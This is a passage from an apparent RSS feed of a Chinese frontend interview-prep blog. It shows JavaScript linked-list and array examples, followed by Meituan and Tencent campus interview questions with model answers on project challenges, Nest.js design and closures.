&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Node&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;val&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;val&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;val&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;next&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;head&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Node&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;head&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;next&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Node&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;head&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;next&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;next&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Node&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;30&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;current&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;head&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;current&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;current&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;val&lt;/span&gt; &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;current&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;current&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;next&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;current&lt;/span&gt; &lt;span style="color:#f92672"&gt;?&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;current&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;val&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Not found&amp;#39;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 输出 30，需要遍历，时间复杂度 O(n)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;删除操作&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;数组&lt;/strong&gt;：删除数组中的某个元素后，为了保持内存的连续性，其后的所有元素都需要向前移动以填补空缺。这个移动操作的时间复杂度为 &lt;code&gt;O(n)&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;splice&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 删除索引为2的元素（即3），后续元素（4, 5）前移，时间复杂度 O(n)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 输出 [1, 2, 4, 5]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;链表&lt;/strong&gt;：如果已知要删除节点的前一个节点，删除操作只需要修改前一个节点的指针，使其指向被删除节点的下一个节点。这个操作的时间复杂度为 &lt;code&gt;O(1)&lt;/code&gt;。如果需要先查找再删除，则总时间复杂度为 &lt;code&gt;O(n)&lt;/code&gt;（查找的开销）。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 假设我们有一个链表 1 -&amp;gt; 2 -&amp;gt; 3，我们要删除值为 2 的节点
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 模拟找到值为 1 的节点 (prevNode) 和值为 2 的节点 (nodeToDelete)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;headDelete&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Node&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;node2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Node&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;node3&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Node&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;headDelete&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;next&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;node2&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;node2&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;next&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;node3&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;prevNode&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;headDelete&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 值为 1 的节点
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;nodeToDelete&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;node2&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 值为 2 的节点
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;prevNode&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;next&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;nodeToDelete&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;next&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 将 1 的 next 指向 3，时间复杂度 O(1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 现在链表变为 1 -&amp;gt; 3
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;优势总结&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>美团-打车-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-67/round-110/</link><pubDate>Mon, 04 Aug 2025 07:21:50 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-67/round-110/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-67/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察前端基础、框架原理以及性能优化等方面的知识。&lt;/p&gt;
&lt;p&gt;本轮共 26 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-07fdb7cd02ac"&gt;1. 1. 项目的难点与亮点是什么？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;说明该题是主观型问题，不考&amp;quot;唯一标准答案&amp;quot;。&lt;/li&gt;
&lt;li&gt;面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。&lt;/li&gt;
&lt;li&gt;答题结构建议：首先简述项目背景，接着阐述难点（遇到的问题、如何解决、技术选型考量），再说明亮点（创新点、技术深度、业务价值），最后进行总结和反思。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我们团队在开发 XXX 项目时，有一个核心模块是 YYYY。这个模块的主要难点在于需要处理高并发的数据同步和复杂的权限控制逻辑。具体来说，我们面临的挑战包括：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;高并发数据同步&lt;/strong&gt;：在某个特定场景下，用户操作会导致大量数据实时更新，并且这些更新需要快速同步到多个客户端。初期方案在压力测试时出现了明显的延迟和数据不一致问题。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;解决思路&lt;/strong&gt;：我们分析了瓶颈，发现是由于频繁的数据库写入和全量数据推送导致的。经过讨论，我们最终选择了基于 WebSocket 实现增量数据推送，并引入了消息队列（Kafka）来削峰填谷，后端对数据进行聚合后再批量写入。在前端，我们设计了一个轻量级的数据缓存层，只在接收到增量更新时局部刷新UI，大大减少了DOM操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术权衡&lt;/strong&gt;：我们对比过轮询、长轮询等方案，但它们在实时性和资源消耗上都不如 WebSocket 配合增量更新。虽然引入消息队列和 WebSocket 增加了系统复杂度，但在百万级并发场景下，它提供了更优的性能和更低的资源占用。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;复杂的权限控制&lt;/strong&gt;：系统需要支持多维度、细粒度的用户权限，包括不同角色对数据和功能的访问权限，并且权限配置是动态可变的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;解决思路&lt;/strong&gt;：我们设计了一套基于 RBAC（Role-Based Access Control）的权限模型，但在前端实现时，为了避免每次操作都去后端校验权限，我们引入了前端权限路由守卫和组件级权限指令。在用户登录时，后端会返回一个精简的权限列表，前端根据这个列表动态生成菜单、路由，并控制组件的可见性及交互。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术权衡&lt;/strong&gt;：这种前后端结合的权限控制方式，兼顾了安全性和用户体验。虽然前端增加了权限逻辑处理，但减少了不必要的后端请求，提升了页面响应速度。我们还考虑过将权限完全放到后端控制，但那样会导致频繁的网络请求，用户体验会下降。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;项目的亮点主要体现在两个方面：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;技术深度与创新&lt;/strong&gt;：我们引入的 WebSocket + Kafka 的实时数据同步方案，有效地支撑了高并发场景下的数据一致性和实时性要求，这是项目在技术上的一大突破。此外，我们还自主研发了一套可视化配置工具，让业务人员可以灵活配置数据同步规则，极大地提高了运营效率。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;业务价值与用户体验提升&lt;/strong&gt;：通过解决上述难点，我们成功将核心页面的数据实时同步延迟从平均 5 秒降低到 500 毫秒以内，用户在操作时的卡顿感几乎消除，大幅提升了用户满意度。同时，权限系统的灵活配置也让业务扩展变得更加便捷，支持了新业务的快速上线。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在整个过程中，我们团队通过深入分析、多方案对比和持续优化，不仅攻克了技术难点，也为业务带来了实际的价值。这次经历让我对高并发系统设计和复杂权限管理有了更深刻的理解，也锻炼了我在权衡技术方案和解决实际问题方面的能力。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-7df4d539008c"&gt;2. 2. 解决难点时，是否对比过多种方案？最终选择的方案有何权衡？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;说明该题是主观型问题，不考&amp;quot;唯一标准答案&amp;quot;。&lt;/li&gt;
&lt;li&gt;面试官主要考察答题者解决问题的思路、方案对比能力、技术选型和权衡能力，以及对项目实际情况的理解。&lt;/li&gt;
&lt;li&gt;答题结构建议：首先选择一个具体的项目难点，围绕该难点，阐述曾考虑的多种解决方案，对比它们的优劣（技术、成本、风险等），最终说明选择当前方案的理由及权衡过程，并可提及后续优化方向。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在我的前端项目中，曾遇到一个挑战，就是如何高效地管理和渲染大规模的动态表单。传统的方案是直接通过 JSON 配置动态生成表单项，但这在表单项过多、层级嵌套复杂时，会导致渲染性能下降，并且表单校验逻辑难以统一管理。&lt;/p&gt;
&lt;p&gt;当时我们主要对比了以下几种方案：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;方案一：纯粹的 JSON Schema 驱动，一次性渲染&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;优点&lt;/strong&gt;：配置简单直观，后端可以方便地控制表单结构。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺点&lt;/strong&gt;：对于包含上百个字段甚至更多字段的复杂表单，一次性渲染会导致首次加载时间过长，页面卡顿。当表单数据频繁变化时，DOM 更新开销大，用户体验差。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权衡&lt;/strong&gt;：虽然开发成本低，但性能瓶颈明显，不适用于我们目标中的大型复杂表单。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;方案二：基于组件化和局部更新&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>腾讯-CSIG一校招 · 第 1 轮 · 第一轮</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-66/round-108/</link><pubDate>Mon, 28 Jul 2025 14:52:54 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-66/round-108/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-66/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-66/round-109/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 一面主要考察前端基础，难度不大。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;面试时间：&lt;/strong&gt; 90分钟&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 基础概念理解深入，能够解释原理和应用场景&lt;/p&gt;
&lt;p&gt;代码实现思路清晰，考虑边界情况和性能优化&lt;/p&gt;
&lt;p&gt;对前端技术栈有系统性认知，了解技术发展趋势&lt;/p&gt;
&lt;p&gt;具备解决实际问题的能力和工程化思维&lt;/p&gt;
&lt;p&gt;本轮共 12 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-9d0178e8aef9"&gt;1. 为什么选择前端&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;作为校招生，回答&amp;quot;为什么选择前端&amp;quot;时要避免空喊&amp;quot;热爱&amp;quot;或跟风，建议用&lt;strong&gt;具体经历+能力匹配+行业洞察&lt;/strong&gt;的三段式结构，既体现思考深度又展示成长潜力。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;以下是分场景的高分回答模板：&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="版本一技术驱动型适合有项目经历的同学"&gt;&lt;strong&gt;版本一：技术驱动型（适合有项目经历的同学）&lt;/strong&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;选择前端源于两次关键经历：&lt;br&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;大一用Vue重构学院官网&lt;/strong&gt;时，发现通过组件化开发能将设计稿像素级还原，这种&amp;rsquo;所见即所得&amp;rsquo;的即时反馈让我着迷；&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;在实习中做低代码平台&lt;/strong&gt;时，用React+D3.js实现拖拽生成图表，体会到前端不仅是实现UI，更是连接用户与数据的桥梁。&lt;br&gt;
前端技术迭代快（如WebAssembly、微前端）的特点，恰好匹配我热衷通过技术解决实际问题的性格。贵司的XX业务（如电商/数据可视化）对交互体验要求极高，我的XX项目经验（举例）能快速落地。&amp;rdquo;&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3 id="版本二用户导向型适合非科班转行的同学"&gt;&lt;strong&gt;版本二：用户导向型（适合非科班转行的同学）&lt;/strong&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;虽然我是工业设计专业，但&lt;strong&gt;大三时用Figma做APP原型&lt;/strong&gt;时，发现静态设计无法验证用户真实体验。于是自学Three.js做了3D产品展示页，通过A/B测试发现3D交互使用户停留时长提升40%。这让我意识到：前端是设计落地的&amp;rsquo;最后一公里&amp;rsquo;。&lt;br&gt;
前端独有的**&amp;lsquo;技术+设计+心理学&amp;rsquo;交叉属性**（如用Framer-motion设计微交互引导用户操作），让我能用代码延续设计价值。贵司注重用户体验（如引用官网案例），我的设计背景+代码能力能提供差异化视角。&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3 id="版本三行业趋势型适合技术视野广的同学"&gt;&lt;strong&gt;版本三：行业趋势型（适合技术视野广的同学）&lt;/strong&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;选择前端是因为它是&lt;strong&gt;最接近技术变革一线&lt;/strong&gt;的领域：&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;云原生时代&lt;/strong&gt;：前端从浏览器扩展到全端（如Electron桌面应用、小程序）；&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI赋能&lt;/strong&gt;：WebGL+TF.js让前端直接运行AI模型（如实时人脸检测）；&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IoT场景&lt;/strong&gt;：前端技术控制智能家居（如用WebSerial协议与硬件通信）。&lt;br&gt;
我在&lt;strong&gt;开源项目参与过WebRTC实时互动功能开发&lt;/strong&gt;，体会到前端工程师正在定义下一代人机交互标准。贵司的XX业务（如智能硬件/元宇宙）正处于这些趋势的交汇点，我的XX技能（如WebGL/跨端开发）能直接贡献。&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3 id="避坑提示"&gt;&lt;strong&gt;避坑提示&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;不要只说&amp;quot;喜欢 visible 的结果&amp;quot;&lt;/strong&gt;：改为**&amp;ldquo;享受从像素级还原到性能优化的全链路挑战&amp;rdquo;**（体现技术深度）。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;避免&amp;quot;前端简单&amp;quot;的刻板印象&lt;/strong&gt;：改为**&amp;ldquo;前端是工程复杂度最高的领域之一，需同时处理兼容性、状态管理、性能优化多端适配&amp;rdquo;**（展示认知）。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关联公司业务&lt;/strong&gt;：提前研究官网/技术博客，比如：&amp;ldquo;注意到贵司用Next.js重构了主站，我对其中SSG/ISR的SEO优化策略很感兴趣&amp;rdquo;（体现调研）。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;最后，用&lt;strong&gt;成长型结尾&lt;/strong&gt;强化潜力：&amp;ldquo;作为校招生，我清楚自己缺乏高并发场景经验，但已系统学习Chrome DevTools性能分析，并模拟过百万级PV的SSR优化（举例），期待在贵司的实际业务中深化这些能力。&amp;rdquo;&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-6610c0a2f308"&gt;2. 框架理解 - Nest.js设计思想&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;分层架构、功能增强、多种设计模式应用&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;Nest.js基于Express或Fastify进行封装，采用分层架构设计。底层HTTP服务器提供基础的请求处理能力，Nest.js在此基础上添加了依赖注入、装饰器、模块化等企业级特性。这确实类似装饰器模式，每一层都在不改变核心功能的前提下增强框架能力。&lt;/p&gt;
&lt;p&gt;除了装饰器模式，还了解观察者模式（发布-订阅），常用于事件系统和状态管理；工厂模式，用于创建不同类型的对象实例；单例模式，确保全局唯一实例等。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-fff5f90bab8c"&gt;3. 闭包概念和产生原因&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;词法作用域、变量访问权限、执行环境保持&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;闭包是指函数能够访问其外部作用域变量的特性。产生闭包的原因是JavaScript的词法作用域机制，函数在定义时就确定了可访问的变量范围，即使在其他执行环境中调用也能保持这种访问能力。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createCounter&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;count&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#f92672"&gt;++&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;count&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;counter&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createCounter&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;counter&lt;/span&gt;()); &lt;span style="color:#75715e"&gt;// 1
